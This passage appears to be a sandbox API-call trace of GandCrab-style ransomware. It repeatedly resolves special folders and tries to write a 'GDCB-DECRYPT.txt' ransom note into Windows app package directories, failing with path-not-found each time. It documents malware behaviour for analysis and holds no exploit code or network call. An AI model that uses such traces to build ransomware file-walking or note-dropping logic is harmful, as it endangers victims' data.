param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt") returned 309 [0170.533] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.533] GetLastError () returned 0x3 [0170.533] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.533] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.533] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.533] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.533] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt") returned 319 [0170.533] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.533] GetLastError () returned 0x3 [0170.533] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.533] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.533] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.533] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.533] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt") returned 315 [0170.534] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.net.native.framework.1.0_8wekyb3d8bbwe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.534] GetLastError () returned 0x3 [0170.534] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.534] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.534] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.534] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.534] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt") returned 313 [0170.534] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.net.native.runtime.1.0_8wekyb3d8bbwe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.534] GetLastError () returned 0x3 [0170.534] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.534] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.534] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.534] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.534] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt") returned 305 [0170.534] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.534] GetLastError () returned 0x3 [0170.534] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.534] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.534] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.534] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.534] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.People_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt") returned 297 [0170.534] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.People_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.people_8wekyb3d8bbwe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.534] GetLastError () returned 0x3 [0170.534] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.534] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.534] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.534] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.534] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\\\GDCB-DECRYPT.txt") returned 299 [0170.535] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.skypeapp_kzf8qxf38zg5c\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.535] GetLastError () returned 0x3 [0170.535] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.535] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.535] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.535] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.535] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt") returned 304 [0170.535] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.vclibs.140.00_8wekyb3d8bbwe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.535] GetLastError () returned 0x3 [0170.535] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.535] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.535] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.535] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.535] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt") returned 320 [0170.535] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.535] GetLastError () returned 0x3 [0170.535] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.535] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.535] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.535] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.535] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt") returned 318 [0170.535] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.535] GetLastError () returned 0x3 [0170.536] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.536] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.536] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.536] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.536] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt") returned 321 [0170.536] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.536] GetLastError () returned 0x3 [0170.536] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.536] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.536] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.536] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.536] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt") returned 306 [0170.536] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.536] GetLastError () returned 0x3 [0170.536] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.536] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.536] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.536] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.536] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt") returned 315 [0170.536] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.parentalcontrols_cw5n1h2txyewy\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.536] GetLastError () returned 0x3 [0170.536] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.536] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.537] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.537] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.537] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt") returned 305 [0170.537] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.537] GetLastError () returned 0x3 [0170.537] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.537] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.537] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.537] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.537] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt") returned 318 [0170.537] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.537] GetLastError () returned 0x3 [0170.537] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.537] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.537] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.537] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.537] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\\\GDCB-DECRYPT.txt") returned 304 [0170.537] CreateFileW (lpFileName="C:\\Documents and 